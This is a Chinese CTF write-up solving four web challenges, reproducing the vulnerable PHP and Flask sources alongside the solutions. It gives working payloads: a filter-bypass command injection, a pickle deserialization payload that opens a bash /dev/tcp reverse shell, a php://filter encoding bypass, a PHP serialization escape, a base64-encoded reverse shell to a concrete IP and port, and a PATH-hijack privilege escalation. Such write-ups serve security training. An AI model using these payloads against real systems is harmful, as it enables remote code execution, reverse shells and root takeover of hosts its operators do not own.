eazy_rce
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-8]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*p.*a.*s.*t.*e.*|.*u.*n.*i.*q.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|.*g.*r.*e.*p.*|.*r.*e.*v.*|.*v.*i.*|.*b.*a.*s.*e.*|\'|\"|\`|\%|\:|\{|\}|\||\^|\&|\.|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
又是看着很长的过滤
但是ls是没被过滤的 所以直接使用$IFS绕过空格查看根目录试试
ls$IFS/
接下来就是绕过cat这些了
可以使用绝对路径来绕过
/bin/c??$IFS/????????
// /bin/cat flag.txt
用通配符绕正则检测 使用绝对路径来解决通配符不能直接代替命令
ez_python
看见了hint
去访问pick1e
看到了提示 一串奇怪的东西
ÖvÖ O.o ov0 Ö_0 Övo 0v0 0.o o.0 Öwo owÖ 0v0 ovO o.O ow0 O.o o.0
去网上找到是尊嘟假嘟加密
得到一串
把这个栅栏解码分2栏
再base64解码
得到
/src0de
再次访问得到源码
@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]
@app.route('/pick1e')
def pick1e():
try:
username = "admin"
rsp = make_response("OK U @ %s " % username)
rsp.headers['hint'] = "Source in ÖvÖ O.o ov0 Ö_0 Övo 0v0 0.o o.0 Öwo owÖ 0v0 ovO o.O ow0 O.o o.0"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if pick1e:
if (b'R' in pick1e):
return 'NO REDUCE!!!'
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message
关键是在pick1e路由使用pick1e反序列化处理数据
使用python整一个处理命令数据的脚本
import base64
payload = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/2333 0>&1"'
o.'''
print(base64.b64encode(payload))
直接在cookie里加个pick1e址 弹shell
eazy_php
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(preg_match('/base/i',$file)) {
die("你不可以喜欢base64,但你可以喜欢c10uds!");
}
if(preg_match('/rot/i',$file)) {
die("你不可以喜欢凯撒,但你可以喜欢c10uds!");
}
if(preg_match('/data/i',$file)) {
die("你不可以喜欢data,但你可以喜欢c10uds!");
}
if(preg_match('/session/i',$file)) {
die("你不可以喜欢session,但你可以喜欢c10uds!");
}
if(preg_match('/iconv/i',$file)) {
die("你不可以喜欢字符编码,但你可以喜欢c10uds!");
}
if(preg_match('/zlib|phar|zip/i',$file)) {
die("你不可以喜欢字符压缩,但你可以喜欢c10uds!");
}
if(preg_match('/crypt/i',$file)) {
die("你不可以喜欢加解密,但你可以喜欢c10uds!");
}
if(preg_match('/log/i',$file)) {
die("你不可以喜欢日志,但你可以喜欢c10uds!");
}
@include($file);
?>
过滤了很多方法去包含
这里可以使用filter去实现文件包含
filter对传入的是有二次解码的
正常读文件是这样的:
file=php://filter/read=convert.base64-encode/resource=flag.php
但是当base被过滤了的时候可以使用这个特性
把base的b字母url编码后得到:%62 再把%url编码得到:%25
filter会对此进行一次处理 所以把%25变成了% 62不变 因为是get传参 会再解码一次 就变成了b
这样就可以绕过
?file=php://filter/read=convert.%2562ase64-encode/resource=/flag.php
ezphp
在这里测试了一下发现没什么利用的
然后根据给的提示访问一下/shell.php
反序列化
主要目的是把CTFer
里的$awarding
变成"pennant"
但是我们不能直接控制$awarding的值
只能控制work的值
这里还有一个filter方法
可以将okk变成Nook
那很明显就是字符串增多的字符串逃逸
我们需要的是awarding == "pennant"
所以构造s:8:”awarding”;s:7:”pennant”
闭合一下”;s:8:”awarding”;s:7:”pennant”;}
数一数是32个
所以payload:
payload=okkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokk";s:8:"awarding";s:7:"pennant";}&shell=ls /
看到逃逸成功了
给shell传入命令也回显了flag的位置
但是cat一下发现没有权限
那只能反弹shell提权了
反弹shell
bash%20-c%20'%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDYuNTQuMzAuNjQvMjMzMyAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'
//bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuNTQuMzAuNjQvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}'
然后开始提权
在/tmp目录下写一个333.c
echo '#include<unistd.h>
void main(){
setuid(0);
setuid(0);
system("cat /flag");
}' > 333.c
其中setuid(0);
:表示尝试将程序的用户ID设置为0,即超级用户(root)权限
然后执行
gcc 333.c -o 333
作用是使用 GCC 编译器将名为 333.c
的源代码文件编译成一个可执行文件,并将该可执行文件命名为 333
gcc 即GNU Compiler Collection 命令,用于编译 C 和 C++ 程序。
接下来修改环境变量
export PATH=/tmp:$PATH
将当前用户的环境变量 PATH
修改为新值 /tmp:$PATH
将 /tmp
目录添加到当前 PATH
变量的前面,以便在 shell 中优先搜索 /tmp
目录下的可执行文件
export
: 这是一个 shell 命令,用于将变量设置为环境变量,以便在当前 shell 会话及其子进程中可用。
/tmp
目录将成为我们 shell 查找可执行文件的第一个路径。这意味着如果您在 /tmp
目录下有可执行文件,系统将首先在这里查找,然后才会查找原来 PATH
中的其他目录。
然后执行即可
Comments | NOTHING